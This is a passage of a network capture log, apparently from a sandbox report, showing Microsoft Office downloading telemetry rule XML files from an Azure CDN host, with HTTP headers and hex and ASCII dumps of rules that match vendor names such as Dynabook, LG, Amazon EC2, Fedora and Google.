T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.8	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:43 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:43 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022143Z-1777c6cb7549x5qchC1TEBggbg00000008z000000000gcat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:43 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.8	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:43 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:43 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022143Z-185f5d8b95cx9g8lhC1NYCtgvc00000001u0000000011967 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.8	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:43 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:43 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:43 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022143Z-r1d97b995778dpcthC1TEB4b54000000082000000000fq60 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:43 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.8	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-1777c6cb754rz2pghC1TEBghen00000008xg000000004fz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.8	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-185f5d8b95crwqd8hC1NYCps6800000009h000000000n5qs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:44 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.8	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-185f5d8b95cwtv72hC1NYC141w00000009d000000000xxy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:44 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.8	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-185f5d8b95crwqd8hC1NYCps6800000009eg00000000x0d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:44 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.8	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-185f5d8b95cdtclvhC1NYC4rmc00000009r000000000f54h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:44 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.8	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-1777c6cb7549x5qchC1TEBggbg00000008wg00000000szhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.8	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-185f5d8b95cgrrn8hC1NYCgwh400000009h0000000003fcm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-185f5d8b95csd4bwhC1NYCq7dc00000009mg000000002bb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:44 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022144Z-1777c6cb754vxwc9hC1TEBykgw00000008xg00000000f2ws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
